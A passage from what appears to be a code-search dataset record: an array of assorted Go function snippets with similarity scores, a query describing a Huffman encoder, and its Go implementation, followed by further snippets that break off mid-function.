c.formatToTime(\"Jan-06\")\n\tcase \"h:mm am/pm\":\n\t\treturn c.formatToTime(\"3:04 pm\")\n\tcase \"h:mm:ss am/pm\":\n\t\treturn c.formatToTime(\"3:04:05 pm\")\n\tcase \"h:mm\":\n\t\treturn c.formatToTime(\"15:04\")\n\tcase \"h:mm:ss\":\n\t\treturn c.formatToTime(\"15:04:05\")\n\tcase \"m/d/yy h:mm\":\n\t\treturn c.formatToTime(\"1/2/06 15:04\")\n\tcase \"mm:ss\":\n\t\treturn c.formatToTime(\"04:05\")\n\tcase \"[h]:mm:ss\":\n\t\tf, err := strconv.ParseFloat(c.Value, 64)\n\t\tif err != nil {\n\t\t\treturn err.Error()\n\t\t}\n\t\tt := TimeFromExcelTime(f, c.date1904)\n\t\tif t.Hour() > 0 {\n\t\t\treturn t.Format(\"15:04:05\")\n\t\t}\n\t\treturn t.Format(\"04:05\")\n\tcase \"mmss.0\":\n\t\tf, err := strconv.ParseFloat(c.Value, 64)\n\t\tif err != nil {\n\t\t\treturn err.Error()\n\t\t}\n\t\tt := TimeFromExcelTime(f, c.date1904)\n\t\treturn fmt.Sprintf(\"%0d%0d.%d\", t.Minute(), t.Second(), t.Nanosecond()/1000)\n\n\tcase \"yyyy\\\\-mm\\\\-dd\", \"yyyy\\\\-mm\\\\-dd;@\":\n\t\treturn c.formatToTime(\"2006\\\\-01\\\\-02\")\n\tcase \"dd/mm/yy\":\n\t\treturn c.formatToTime(\"02/01/06\")\n\tcase \"hh:mm:ss\":\n\t\treturn c.formatToTime(\"15:04:05\")\n\tcase \"dd/mm/yy\\\\ hh:mm\":\n\t\treturn c.formatToTime(\"02/01/06\\\\ 15:04\")\n\tcase \"dd/mm/yyyy hh:mm:ss\":\n\t\treturn c.formatToTime(\"02/01/2006 15:04:05\")\n\tcase \"yyyy/mm/dd\":\n\t\treturn c.formatToTime(\"2006/01/02\")\n\tcase \"yy-mm-dd\":\n\t\treturn c.formatToTime(\"06-01-02\")\n\tcase \"d-mmm-yyyy\":\n\t\treturn c.formatToTime(\"2-Jan-2006\")\n\tcase \"m/d/yy\":\n\t\treturn c.formatToTime(\"1/2/06\")\n\tcase \"m/d/yyyy\":\n\t\treturn c.formatToTime(\"1/2/2006\")\n\tcase \"dd-mmm-yyyy\":\n\t\treturn c.formatToTime(\"02-Jan-2006\")\n\tcase \"dd/mm/yyyy\":\n\t\treturn c.formatToTime(\"02/01/2006\")\n\tcase \"mm/dd/yy hh:mm am/pm\":\n\t\treturn c.formatToTime(\"01/02/06 03:04 pm\")\n\tcase \"mm/dd/yyyy hh:mm:ss\":\n\t\treturn c.formatToTime(\"01/02/2006 15:04:05\")\n\tcase \"yyyy-mm-dd hh:mm:ss\":\n\t\treturn c.formatToTime(\"2006-01-02 15:04:05\")\n\t}\n\treturn c.Value\n}", "func readCreditValue(v []byte, cred *credit) error {\n\tif len(v) < 45 {\n\t\treturn fmt.Errorf(\"short credit(mined or unmined) value\")\n\t}\n\tamount, err := massutil.NewAmountFromUint(binary.BigEndian.Uint64(v))\n\tif err != nil {\n\t\treturn err\n\t}\n\tcred.amount = amount\n\tcred.flags.Spent = v[8]&(1<<0) != 0\n\tcred.flags.Change = v[8]&(1<<1) != 0\n\tcred.maturity = binary.BigEndian.Uint32(v[9:13])\n\tcred.scriptHash = v[13:45]\n\n\tf := (v[8] & (3 << 2)) >> 2\n\tswitch f {\n\tcase 0:\n\t\tcred.flags.Class = ClassStandardUtxo\n\tcase 1:\n\t\tcred.flags.Class = ClassStakingUtxo\n\tcase 2:\n\t\tcred.flags.Class = ClassBindingUtxo\n\tdefault:\n\t\treturn fmt.Errorf(\"unknown utxo class\")\n\t}\n\treturn nil\n}", "func (o ApiDiagnosticFrontendRequestDataMaskingHeaderOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ApiDiagnosticFrontendRequestDataMaskingHeader) string { return v.Value }).(pulumi.StringOutput)\n}", "func (o DiagnosticBackendResponseDataMaskingHeaderOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DiagnosticBackendResponseDataMaskingHeader) string { return v.Value }).(pulumi.StringOutput)\n}", "func (t *infixTokenizer) convertExpressionsIntoAtoms(tokens []token) {\n\tfor i := range tokens {\n\t\tif tokens[i].Type == expressionType {\n\t\t\ttokens[i].Type = atomType\n\t\t}\n\t}\n}", "func CreateActivateDeviceEsimActionResultFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewActivateDeviceEsimActionResult(), nil\n}", "func (s *InstanceState) AttrsAsObjectValue(ty cty.Type) (cty.Value, error) {\n\tif s == nil {\n\t\t// if the state is nil, we need to construct a complete cty.Value with\n\t\t// null attributes, rather than a single cty.NullVal(ty)\n\t\ts = &InstanceState{}\n\t}\n\n\tif s.Attributes == nil {\n\t\ts.Attributes = map[string]string{}\n\t}\n\n\t// make sure ID is included in the attributes. The InstanceState.ID value\n\t// takes precedence.\n\tif s.ID != \"\" {\n\t\ts.Attributes[\"id\"] = s.ID\n\t}\n\n\treturn hcl2shim.HCL2ValueFromFlatmap(s.Attributes, ty)\n}", "func (o DiagnosticBackendRequestDataMaskingHeaderOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DiagnosticBackendRequestDataMaskingHeader) string { return v.Value }).(pulumi.StringOutput)\n}", "func (n *DcmListNode) Value() *DcmObject {\n\treturn n.objNodeValue\n}", "func (f Feed) ToAtom() ([]byte, error) {\n\tx, err := xml.MarshalIndent(f, \"\", \" \")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"atomizer: xml marshaling error: %s\", err.Error())\n\t}\n\n\tvar buf bytes.Buffer\n\tbuf.WriteString(xml.Header)\n\tbuf.Write(x)\n\treturn buf.Bytes(), nil\n}", "func (o ApiDiagnosticBackendResponseDataMaskingHeaderOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ApiDiagnosticBackendResponseDataMaskingHeader) string { return v.Value }).(pulumi.StringOutput)\n}", "func (s *StringChecksum) Value() string {\n\treturn s.value\n}", "func (a *LastVisitedRegisteredTAI) GetMCCDigit1() (mCCDigit1 uint8) {}", "func ObjectValue(id TypeID, value interface{}) (*graph.Value, error) {\n\tdef := &graph.Value{&graph.Value_StrVal{\"\"}}\n\tvar ok bool\n\t// Lets set the object value according to the storage type.\n\tswitch id {\n\tcase StringID:\n\t\tvar v string\n\t\tif v, ok = value.(string); !ok {\n\t\t\treturn def, x.Errorf(\"Expected value of type string. Got : %v\", value)\n\t\t}\n\t\treturn &graph.Value{&graph.Value_StrVal{v}}, nil\n\tcase DefaultID:\n\t\tvar v string\n\t\tif v, ok = value.(string); !ok {\n\t\t\treturn def, x.Errorf(\"Expected value of type string. Got : %v\", value)\n\t\t}\n\t\treturn &graph.Value{&graph.Value_DefaultVal{v}}, nil\n\tcase Int32ID:\n\t\tvar v int32\n\t\tif v, ok = value.(int32); !ok {\n\t\t\treturn def, x.Errorf(\"Expected value of type int32. Got : %v\", value)\n\t\t}\n\t\treturn &graph.Value{&graph.Value_IntVal{v}}, nil\n\tcase FloatID:\n\t\tvar v float64\n\t\tif v, ok = value.(float64); !ok {\n\t\t\treturn def, x.Errorf(\"Expected value of type float64. Got : %v\", value)\n\t\t}\n\t\treturn &graph.Value{&graph.Value_DoubleVal{v}}, nil\n\tcase BoolID:\n\t\tvar v bool\n\t\tif v, ok = value.(bool); !ok {\n\t\t\treturn def, x.Errorf(\"Expected value of type bool. Got : %v\", value)\n\t\t}\n\t\treturn &graph.Value{&graph.Value_BoolVal{v}}, nil\n\tcase BinaryID:\n\t\tvar v []byte\n\t\tif v, ok = value.([]byte); !ok {\n\t\t\treturn def, x.Errorf(\"Expected value of type []byte. Got : %v\", value)\n\t\t}\n\t\treturn &graph.Value{&graph.Value_BytesVal{v}}, nil\n\t// Geo, date and datetime are stored in binary format in the NQuad, so lets\n\t// convert them here.\n\tcase GeoID:\n\t\tb, err := toBinary(id, value)\n\t\tif err != nil {\n\t\t\treturn def, err\n\t\t}\n\t\treturn &graph.Value{&graph.Value_GeoVal{b}}, nil\n\tcase DateID:\n\t\tb, err := toBinary(id, value)\n\t\tif err != nil {\n\t\t\treturn def, err\n\t\t}\n\t\treturn &graph.Value{&graph.Value_DateVal{b}}, nil\n\tcase DateTimeID:\n\t\tb, err := toBinary(id, value)\n\t\tif err != nil {\n\t\t\treturn def, err\n\t\t}\n\t\treturn &graph.Value{&graph.Value_DatetimeVal{b}}, nil\n\tcase PasswordID:\n\t\tvar v string\n\t\tif v, ok = value.(string); !ok {\n\t\t\treturn def, x.Errorf(\"Expected value of type password. Got : %v\", value)\n\t\t}\n\t\treturn &graph.Value{&graph.Value_PasswordVal{v}}, nil\n\tdefault:\n\t\treturn def, x.Errorf(\"ObjectValue not available for: %v\", id)\n\t}\n\treturn def, nil\n}", "func formatAtom(v reflect.Value) string {\n\tswitch v.Kind() {\n\tcase reflect.Invalid:\n\t\treturn \"invalid\"\n\tcase reflect.Int, reflect.Int8, reflect.Int16,\n\t\treflect.Int32, reflect.Int64:\n\t\treturn strconv.FormatInt(v.Int(), 10)\n\tcase reflect.Uint, reflect.Uint8, reflect.Uint16,\n\t\treflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\treturn strconv.FormatUint(v.Uint(), 10)\n\t// ...floating-point and complex cases omitted for brevity...\n\tcase reflect.Bool:\n\t\treturn strconv.FormatBool(v.Bool())\n\tcase reflect.String:\n\t\treturn v.String()\n\tcase reflect.Chan, reflect.Func, reflect.Ptr, reflect.Slice, reflect.Map:\n\t\treturn v.Type().String() + \" 0x\" +\n\t\t\tstrconv.FormatUint(uint64(v.Pointer()), 16)\n\tcase reflect.Struct:\n\t\tswitch v.Type().String() {\n\t\tcase \"time.Time\":\n\t\t\treturn v.Interface().(time.Time).Format(time.RFC3339)\n\t\tdefault:\n\t\t\treturn fmt.Sprintf(\"%v\", v)\n\t\t}\n\tdefault: // reflect.Array, reflect.Struct, reflect.Interface\n\t\treturn v.Type().String() + \" value\"\n\t}\n\n}", "func (i *StringIterator) Value() Object {\n\treturn &Char{Value: i.v[i.i-1]}\n}", "func (v ID) ToLiteralValue() (schema.LiteralValue, error) {\n\tif !v.present {\n\t\treturn nil, nil\n\t}\n\treturn schema.LiteralString(v.v), nil\n}", "func ConvertActress(r dmm.Actress) (result Actress, err error) {\n\tvar bust, waist, hip, height int\n\tif r.Bust != \"\" {\n\t\tif bust, err = strconv.Atoi(r.Bust); err != nil {\n\t\t\terr = fmt.Errorf(\"bust is not numeric; %s; %v\", r.Bust, err)\n\t\t\treturn\n\t\t}\n\t}\n\tif r.Waist != \"\" {\n\t\tif waist, err = strconv.Atoi(r.Waist); err != nil {\n\t\t\terr = fmt.Errorf(\"waist is not numeric; %s; %v\", r.Waist, err)\n\t\t\treturn\n\t\t}\n\t}\n\tif r.Hip != \"\" {\n\t\tif hip, err = strconv.Atoi(r.Hip); err != nil {\n\t\t\terr = fmt.Errorf(\"hip is not numeric; %s; %v\", r.Hip, err)\n\t\t\treturn\n\t\t}\n\t}\n\tif r.Height != \"\" {\n\t\tif height, err = strconv.Atoi(r.Height); err != nil {\n\t\t\terr = fmt.Errorf(\"height is not numeric; %s; %v\", r.Height, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tresult = Actress{\n\t\tID: r.ID,\n\t\tName: r.Name,\n\t\tRuby: r.Ruby,\n\t\tBust: bust,\n\t\tCup: r.Cup,\n\t\tWaist: waist,\n\t\tHip: hip,\n\t\tHeight: height,\n\t\tBirthday: r.Birthday,\n\t\tBloodType: r.BloodType,\n\t\tHobby: r.Hobby,\n\t\tPrefecture: r.Prefectures,\n\t\tImageURL: r.ImageURL,\n\t\tListURL: r.ListURL,\n\t}\n\treturn\n}", "func (cmd *UIntCommand) ValueAsLit() string {\n\treturn fmt.Sprintf(\"%d\", cmd.Value)\n}", "func ToCard(value string) Card {\n\tchars := strings.Split(value, \" \")\n\tif len(chars) != 2 {\n\t\treturn Card{}\n\t}\n\tret := Card{}\n\tret.Suit = chars[0]\n\tif chars[1] == \"10\" {\n\t\tret.Rank = \"T\"\n\t} else {\n\t\tret.Rank = strings.ToUpper(chars[1])\n\t}\n\treturn ret\n\n}", "func (v Value10) String() string { return unparse(int64(v), 1000, mult10) }", "func (o PatientIdOutput) Value() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v PatientId) *string { return v.Value }).(pulumi.StringPtrOutput)\n}", "func (o ApiDiagnosticBackendRequestDataMaskingHeaderOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v ApiDiagnosticBackendRequestDataMaskingHeader) string { return v.Value }).(pulumi.StringOutput)\n}", "func ToComplex(x Value) Value {\n\tif v, ok := x.(*ratVal); ok {\n\t\tx = v.Value\n\t}\n\treturn constant.ToComplex(x)\n}", "func (s Signature) CanonicalValue() ([]byte, error) {\n\treturn []byte(Armor(s.signature, s.pk)), nil\n}", "func (m *Uint64) Value(key interface{}) *atomics.Uint64 {\n\tv, ok := m.m.Load(key)\n\tif !ok {\n\t\tv, _ = m.m.LoadOrStore(key, new(atomics.Uint64))\n\t}\n\n\treturn v.(*atomics.Uint64)\n}", "func (cmd *IntCommand) ValueAsLit() string {\n\treturn fmt.Sprintf(\"%d\", cmd.Value)\n}", "func (o TaintOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v Taint) string { return v.Value }).(pulumi.StringOutput)\n}", "func (src Macaddr) Value() (driver.Value, error) {\n\treturn EncodeValueText(src)\n}", "func FromCodon(c codon) (aminoAcid, error) {\n\tswitch c {\n\tcase \"AUG\":\n\t\treturn \"Methionine\", nil\n\n\tcase \"UUU\", \"UUC\":\n\t\treturn \"Phenylalanine\", nil\n\n\tcase \"UUA\", \"UUG\":\n\t\treturn \"Leucine\", nil\n\n\tcase \"UCU\", \"UCC\", \"UCA\", \"UCG\":\n\t\treturn \"Serine\", nil\n\n\tcase \"UAU\", \"UAC\":\n\t\treturn \"Tyrosine\", nil\n\n\tcase \"UGU\", \"UGC\":\n\t\treturn \"Cysteine\", nil\n\n\tcase \"UGG\":\n\t\treturn \"Tryptophan\", nil\n\n\tcase \"UAA\", \"UAG\", \"UGA\":\n\t\treturn \"\", ErrStop\n\n\tdefault:\n\t\treturn \"\", ErrInvalidBase\n\t}\n}", "func (iter RegisteredAsnListResultIterator) Value() RegisteredAsn {\n\tif !iter.page.NotDone() {\n\t\treturn RegisteredAsn{}\n\t}\n\treturn iter.page.Values()[iter.i]\n}", "func (r *Decoder) Value() constant.Value {\n\tr.Sync(SyncValue)\n\tisComplex := r.Bool()\n\tval := r.scalar()\n\tif isComplex {\n\t\tval = constant.BinaryOp(val, token.ADD, constant.MakeImag(r.scalar()))\n\t}\n\treturn val\n}", "func (pdb *PDB) extractPDBATMRecords(rawPDB []byte, recordName string) ([]*Atom, error) {\n\tvar atoms []*Atom\n\n\tr, _ := regexp.Compile(\"(?m)^\" + recordName + \".*$\")\n\tmatches := r.FindAllString(string(rawPDB), -1)\n\tif len(matches) == 0 {\n\t\treturn atoms, errors.New(\"atoms not found\")\n\t}\n\n\tvar lastRes string\n\tfor _, match := range matches {\n\t\tvar atom Atom\n\n\t\t// https://www.wwpdb.org/documentation/file-format-content/format23/sect9.html#ATOM\n\t\tatom.Number, _ = strconv.ParseInt(strings.TrimSpace(match[6:11]), 10, 64)\n\t\tatom.Residue = strings.TrimSpace(match[17:20])\n\t\tatom.Chain = match[21:22]\n\t\tatom.ResidueNumber, _ = strconv.ParseInt(strings.TrimSpace(match[22:26]), 10, 64)\n\t\tatom.X, _ = strconv.ParseFloat(strings.TrimSpace(match[30:38]), 64)\n\t\tatom.Y, _ = strconv.ParseFloat(strings.TrimSpace(match[38:46]), 64)\n\t\tatom.Z, _ = strconv.ParseFloat(strings.TrimSpace(match[46:54]), 64)\n\t\tatom.Occupancy, _ = strconv.ParseFloat(strings.TrimSpace(match[54:60]), 64)\n\t\tatom.BFactor, _ = strconv.ParseFloat(strings.TrimSpace(match[60:66]), 64)\n\t\tatom.Element = strings.TrimSpace(match[76:78])\n\t\tatom.Charge = strings.TrimSpace(match[78:80])\n\n\t\tatoms = append(atoms, &atom)\n\n\t\tif recordName == \"HETATM\" && atom.Residue != lastRes {\n\t\t\tlastRes = atom.Residue\n\t\t\texists := false\n\t\t\tfor _, het := range pdb.HetGroups {\n\t\t\t\tif het == lastRes {\n\t\t\t\t\texists = true\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !exists {\n\t\t\t\tpdb.HetGroups = append(pdb.HetGroups, lastRes)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn atoms, nil\n}", "func (v AnnotationValue) AsComplex() complex128 {\n\treturn v.Value.(complex128)\n}", "func fromToValue(from Location, to Location) FromTo {\n\treturn FromTo((FromTo(from) << 8) | FromTo(to))\n}", "func (f *Feed) ToAtomReader() (io.Reader, error) {\n\tatom, err := f.convert().ToAtom()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn strings.NewReader(atom), nil\n}", "func ConvertValue(v r.Value, to r.Type) r.Value {\n\tt := Type(v)\n\tif t == to {\n\t\treturn v\n\t}\n\tif !t.ConvertibleTo(to) {\n\t\t// reflect.Value does not allow conversions from/to complex types\n\t\tk := v.Kind()\n\t\tkto := to.Kind()\n\t\tif IsCategory(kto, r.Complex128) {\n\t\t\tif IsCategory(k, r.Int, r.Uint, r.Float64) {\n\t\t\t\ttemp := v.Convert(TypeOfFloat64).Float()\n\t\t\t\tv = r.ValueOf(complex(temp, 0.0))\n\t\t\t}\n\t\t} else if IsCategory(k, r.Complex128) {\n\t\t\tif IsCategory(k, r.Int, r.Uint, r.Float64) {\n\t\t\t\ttemp := real(v.Complex())\n\t\t\t\tv = r.ValueOf(temp)\n\t\t\t}\n\t\t}\n\t}\n\treturn v.Convert(to)\n}", "func (o RegistryTaskEncodedStepPtrOutput) ValueContent() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *RegistryTaskEncodedStep) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.ValueContent\n\t}).(pulumi.StringPtrOutput)\n}", "func GetValueAsTerm(model ModelT, t TermT) TermT {\n\treturn TermT(C.yices_get_value_as_term(ymodel(model), C.term_t(t)))\n}", "func (d *decoder) value(node Node, v reflect.Value) error {\n\tu, rv := d.indirect(v)\n\tif u != nil {\n\t\tif err := u.UnmarshalMetadata(node); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\treturn nil\n\t}\n\tswitch kind := rv.Type().Kind(); kind {\n\tcase reflect.String:\n\t\tif err := d.string(node, rv); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\treturn nil\n\tdefault:\n\t\tpanic(fmt.Errorf(\"support for decoding into %T (%v) not yet implemented\", kind, kind))\n\t}\n}", "func uwatts(value string) electricValue {\n\treturn electricValue{fromMicroStr(value), true}\n}", "func (e dirtySeriesMapEntry) Value() *idElement {\n\treturn e.value\n}", "func ConvertToCAR(ctx context.Context, in io.Reader, out io.Writer) (cid.Cid, uint64, error) {\n\treturn convertToCAR(ctx, in, out, false)\n}", "func (s notAtom) getAtom() Atom {\n\treturn Atom{}\n}", "func (o PatientIdResponseOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v PatientIdResponse) string { return v.Value }).(pulumi.StringOutput)\n}", "func (v Season_Ic_Ta) Value() (driver.Value, error) {\n\to := v.Ordinal()\n\tif o < 0 {\n\t\treturn nil, fmt.Errorf(\"%v: cannot be stored\", v)\n\t}\n\n\treturn v.toString(o, season_ic_taSQLStrings, season_ic_taSQLIndex[:]), nil\n}", "func (v Season_Uc_Ta) Value() (driver.Value, error) {\n\to := v.Ordinal()\n\tif o < 0 {\n\t\treturn nil, fmt.Errorf(\"%v: cannot be stored\", v)\n\t}\n\n\treturn v.toString(o, season_uc_taSQLStrings, season_uc_taSQLIndex[:]), nil\n}", "func (m *Memo) toXDR() (xdr.Memo, error) {\n\tswitch m.Type {\n\tcase MemoTypeNone:\n\t\treturn xdr.NewMemo(xdr.MemoTypeMemoNone, nil)\n\tcase MemoTypeText:\n\t\treturn xdr.NewMemo(xdr.MemoTypeMemoText, *m.Text)\n\tcase MemoTypeID:\n\t\treturn xdr.NewMemo(xdr.MemoTypeMemoId, xdr.Uint64(*m.ID))\n\tcase MemoTypeHash:\n\t\treturn xdr.NewMemo(xdr.MemoTypeMemoHash, xdr.Hash(*m.Hash))\n\tcase MemoTypeReturn:\n\t\treturn xdr.NewMemo(xdr.MemoTypeMemoReturn, xdr.Hash(*m.ReturnHash))\n\t}\n\treturn xdr.Memo{}, errors.New(\"unknown memo type\")\n}", "func AtomToUint(ids []xproto.Atom) []uint {\n\tids32 := make([]uint, len(ids))\n\tfor i, v := range ids {\n\t\tids32[i] = uint(v)\n\t}\n\treturn ids32\n}", "func (OriginManifestType) Values() []OriginManifestType {\n\treturn []OriginManifestType{\n\t\t\"SINGLE_PERIOD\",\n\t\t\"MULTI_PERIOD\",\n\t}\n}", "func (me TxsdAnimValueAttrsCalcMode) ToXsdtString() xsdt.String { return xsdt.String(me) }", "func (u Unboxed) ToCore() coretypes.Type {\n\treturn coretypes.Unbox(u.content.ToCore())\n}", "func (me TxsdAnimValueAttrsCalcMode) String() string { return xsdt.String(me).String() }", "func As(v Value, x interface{}) error {\n\treturn util.NewJSONDecoder(bytes.NewBufferString(v.String())).Decode(x)\n}", "func (o RoleAliasTagOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v RoleAliasTag) string { return v.Value }).(pulumi.StringOutput)\n}", "func (c *CustomID) Value() int64 {\n\treturn c.value\n}", "func (o MetricValueStatusPatchOutput) Value() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v MetricValueStatusPatch) *string { return v.Value }).(pulumi.StringPtrOutput)\n}", "func normalizeValue(id string, m map[string]interface{}) string {\n\tif v, ok := extractValue(id, m); ok {\n\t\treturn v\n\t}\n\tif v, ok := extractValue(\"str\"+id, m); ok {\n\t\treturn v\n\t}\n\n\treturn \"\"\n}", "func (o DiagnosticFrontendResponseDataMaskingQueryParamOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v DiagnosticFrontendResponseDataMaskingQueryParam) string { return v.Value }).(pulumi.StringOutput)\n}", "func (uuid ObjectUUID) Value() (driver.Value, error) {\n\tfmt.Println(\"converted:\", uuid)\n\treturn string(uuid), nil\n}", "func (o GetCAARecordRecordOutput) Value() pulumi.StringOutput {\n\treturn o.ApplyT(func(v GetCAARecordRecord) string { return v.Value }).(pulumi.StringOutput)\n}", "func (o MetricValueStatusOutput) Value() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v MetricValueStatus) *string { return v.Value }).(pulumi.StringPtrOutput)\n}", "func OriginManifestType_Values() []string {\n\treturn []string{\n\t\tOriginManifestTypeSinglePeriod,\n\t\tOriginManifestTypeMultiPeriod,\n\t}\n}", "func CreateExternalActivityFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n if parseNode != nil {\n mappingValueNode, err := parseNode.GetChildNode(\"@odata.type\")\n if err != nil {\n return nil, err\n }\n if mappingValueNode != nil {\n mappingValue, err := mappingValueNode.GetStringValue()\n if err != nil {\n return nil, err\n }\n if mappingValue != nil {\n switch *mappingValue {\n case \"#microsoft.graph.externalConnectors.externalActivityResult\":\n return NewExternalActivityResult(), nil\n }\n }\n }\n }\n return NewExternalActivity(), nil\n}", "func CreateImpactedMailboxAssetFromDiscriminatorValue(parseNode i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.ParseNode)(i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.Parsable, error) {\n return NewImpactedMailboxAsset(), nil\n}" ]
[ "0.56985295", "0.5318303", "0.49374065", "0.4737565", "0.47363374", "0.46584833", "0.46391574", "0.46391574", "0.4609804", "0.46034306", "0.45536092", "0.44392696", "0.43683672", "0.43274194", "0.4296113", "0.4273294", "0.4257204", "0.42343932", "0.42323673", "0.42308548", "0.42223266", "0.4217776", "0.42148837", "0.4175364", "0.4158848", "0.41574398", "0.4150096", "0.41482016", "0.4132545", "0.4129613", "0.4126122", "0.41133508", "0.4102731", "0.40908772", "0.40899265", "0.4088987", "0.40791327", "0.40738004", "0.40702316", "0.40656972", "0.40616155", "0.40591425", "0.40541613", "0.40474918", "0.40463734", "0.40421605", "0.40384623", "0.4038372", "0.40351823", "0.40347177", "0.4034219", "0.4033406", "0.40316337", "0.4030078", "0.40222472", "0.4012471", "0.40088958", "0.40084195", "0.4007068", "0.39971995", "0.39925653", "0.39798462", "0.3972907", "0.3971623", "0.39690953", "0.39647278", "0.39627385", "0.39564717", "0.39533666", "0.394777", "0.39451867", "0.39448065", "0.39432746", "0.39377826", "0.39312917", "0.39278516", "0.39244744", "0.39227772", "0.39191437", "0.3914842", "0.3911749", "0.3904711", "0.39046627", "0.39018643", "0.39002705", "0.3894634", "0.38907933", "0.38896358", "0.3888943", "0.38880995", "0.38864422", "0.3874999", "0.38741386", "0.38726616", "0.38685986", "0.38600633", "0.38569304", "0.38499722", "0.38493302" ]
0.5402026
2
NewHuffmanEncoder creates an encoder from the input io.ReadSeeker and prepares it for writing to output io.Writer. It calculates the dictionary by doing frequency counting on the input bytes.
func NewHuffmanEncoder(inp io.ReadSeeker, wc io.Writer) *HuffmanEncoder { he := new(HuffmanEncoder) freq := make(map[byte]int) var b [1]byte // using the reader, count the frequency of bytes for { _, err := inp.Read(b[:]) if err != nil { if err == io.EOF { break } panic(err) } _, ok := freq[b[0]] if !ok { freq[b[0]] = 0 } freq[b[0]]++ } _, err := inp.Seek(0, io.SeekStart) if err != nil { panic(err) } pQ := make(PriorityQueue, len(freq)) i := 0 for v, f := range freq { pQ[i] = NewHNode(v, f) i++ } heap.Init(&pQ) for pQ.Len() > 1 { zero := pQ.Pop() l := zero.(Item) one := pQ.Pop() r := one.(Item) ht := NewHTree(l, r) heap.Push(&pQ, ht) } htree := pQ.Pop() root, ok := htree.(*HTree) if !ok { panic("Huffman Tree") } he.root = root he.dict = make(map[byte]Huffcode) filldict(he.root, "", he.dict) he.bw = bs.NewWriter(wc) return he }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func Encode(in, out *os.File) {\n\tcounts := count(in)\n\tp := makePQ(counts)\n\th := makeHuffman(p)\n\tm := make(map[byte]string)\n\tfillMap(h, m, \"\")\n\tfor k, v := range m {\n\t\tfmt.Printf(\"k: %c, v: %s\\n\", k, v)\n\t}\n}", "func createFrequencyTable(bytes *vector.Vector) *dictionary.Dictionary {\n\tdict := dictionary.New()\n\tfor i := 0; i < bytes.Size(); i++ {\n\t\tbyt := bytes.MustGet(i)\n\n\t\tif frequency, exists := dict.Get(byt); !exists {\n\t\t\tdict.Set(byt, 1)\n\t\t} else {\n\t\t\tdict.Set(byt, frequency.(int)+1)\n\t\t}\n\t}\n\n\treturn dict\n}", "func Encode(input string) (string, *tree.Node[string]) {\n\t// Create huffman tree and map\n\thTree := getHuffmanTree(input)\n\tprintTree(hTree)\n\thMap := getHuffmanEncodingMap(hTree)\n\tbuilder := strings.Builder{}\n\tfor i := 0; i < len(input); i++ {\n\t\tbuilder.WriteString(hMap[string(input[i])])\n\t}\n\treturn builder.String(), hTree\n}", "func NewHuffmanEncoderWithDict(wc io.Writer, dict []byte) *HuffmanEncoder {\n\the := new(HuffmanEncoder)\n\n\tpQ := make(PriorityQueue, len(dict))\n\tMaxPri := len(dict)\n\tfor i, v := range dict {\n\t\tpQ[i] = NewHNode(v, MaxPri - i)\t// prioritize in order of dict\n\t}\n\n\theap.Init(&pQ)\n\n\tfor pQ.Len() > 1 {\n\t\tzero := pQ.Pop()\n\t\tl := zero.(Item)\n\t\tone := pQ.Pop()\n\t\tr := one.(Item)\n\t\tht := NewHTree(l, r)\n\t\theap.Push(&pQ, ht)\n\t}\n\n\thtree := pQ.Pop()\n\troot, ok := htree.(*HTree)\n\tif !ok {\n\t\tpanic(\"Huffman Tree\")\n\t}\n\the.root = root\n\the.dict = make(map[byte]Huffcode)\n\tfilldict(he.root, \"\", he.dict)\n\the.bw = bs.NewWriter(wc)\n\treturn he\n}", "func (enc *HuffmanEncoder) Write(p []byte) (n int, err error) {\n\tfor _, v := range p {\n\t\tcode, ok := enc.dict[v]\n\t\tif !ok {\n\t\t\tpanic(errors.New(\"non-existant uncompressed code \" + string(v)))\n\t\t}\n\n\t\terr = enc.bw.WriteBits(code.hcode, code.nbits)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\treturn len(p), nil\n}", "func NewEncoder(w io.WriteSeeker, sampleRate, bitDepth, numChans, audioFormat int) *Encoder {\n\treturn &Encoder{\n\t\tw: w,\n\t\tbuf: bytes.NewBuffer(make([]byte, 0, bytesNumFromDuration(time.Minute, sampleRate, bitDepth)*numChans)),\n\t\tSampleRate: sampleRate,\n\t\tBitDepth: bitDepth,\n\t\tNumChans: numChans,\n\t\tWavAudioFormat: audioFormat,\n\t}\n}", "func NewEncodingTree(freq map[uint8]uint) *Node {\n\tvar head Node // Fictitious head\n\n\tfor i, v := range freq {\n\t\tnode := &Node{\n\t\t\tvalue: i,\n\t\t\tweight: v,\n\t\t}\n\t\thead.insert(node)\n\t}\n\n\tfor head.next != nil && head.next.next != nil {\n\t\tl := 